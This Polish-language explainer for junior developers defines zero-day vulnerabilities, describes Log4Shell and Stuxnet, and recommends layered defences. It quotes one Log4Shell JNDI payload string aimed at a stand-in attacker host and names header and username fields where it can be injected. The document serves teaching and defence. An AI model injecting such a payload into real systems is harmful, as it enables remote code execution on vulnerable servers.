Zero-day (po polsku często „luka zero-day”) to podatność w oprogramowaniu, o której wie atakujący, a producent jeszcze nie — albo wie, ale nie zdążył wypuścić poprawki. Nazwa bierze się stąd, że twórca softu miał „zero dni” na reakcję, zanim dziura zaczęła być wykorzystywana. Dopóki łatki nie ma, nie istnieje czyste rozwiązanie: możesz tylko ograniczać ryzyko obejściami.
W praktyce spotkasz trzy pokrewne pojęcia, które łatwo pomylić. Zero-day vulnerability to sama dziura w kodzie. Zero-day exploit to gotowy kod albo technika, która ją wykorzystuje. Zero-day attack to moment, w którym ktoś faktycznie uderza w działający system, zanim pojawi się fix. Liczy się tu czas: od chwili publicznego ujawnienia luki do wydania poprawki masz okno, w którym wszyscy są odsłonięci, a skanery i sygnatury antywirusowe jeszcze nie wiedzą, czego szukać.
Jak to wygląda w realu
Grudzień 2021, Log4Shell — podatność CVE-2021-44228 w bibliotece logującej Apache Log4j. Wystarczyło wysłać do podatnej aplikacji string typu ${jndi:ldap://atakujacy.example/x}, na przykład w nagłówku User-Agent albo w nazwie użytkownika, a serwer sam pobierał i wykonywał złośliwy kod. Log4j siedział dosłownie wszędzie (Minecraft, systemy korporacyjne, chmura), więc gdy luka wyszła na jaw, na świecie ruszył wyścig: jedni skanowali internet w poszukiwaniu ofiar, drudzy gorączkowo aktualizowali zależności. To podręcznikowy zero-day — exploit krążył, zanim większość firm w ogóle wiedziała, że ma Log4j u siebie.
Innym klasykiem jest Stuxnet, który do ataku na irańskie wirówki użył kilku zero-dayów w Windows naraz — pokazując, że takie luki to nie tylko zabawa kryminalistów, ale i narzędzie operacji państwowych.
Czego nie mylić
- Zero-day to nie to samo co „każdy świeży CVE”. Jeśli producent zdążył wydać łatkę, zanim ktoś zaatakował — to już nie zero-day, tylko zwykła znana podatność (n-day), której ludzie po prostu nie zaktualizowali.
- Antywirus cię nie ochroni „bo ma sygnatury”. Z definicji nikt jeszcze nie ma sygnatury na coś, czego nie zna. Dlatego liczy się obrona warstwowa: szybkie patchowanie, segmentacja sieci, monitoring anomalii (EDR), zasada najmniejszych uprawnień.
- „Nas to nie dotyczy, nie mamy nic ważnego.” Atakujący często strzelają masowo i automatycznie — twój serwer może paść nie dlatego, że jesteś celem, tylko dlatego, że byłeś osiągalny.
Najlepsze, co możesz zrobić jako junior: śledź ogłoszenia o podatnościach (CVE, biuletyny producentów), aktualizuj zależności szybko i nie zostawiaj usług wystawionych do internetu bez potrzeby.
Pojęcia powiązane: CVE, exploit, patch, podatność (vulnerability), CVSS, responsible disclosure, RCE (remote code execution), EDR.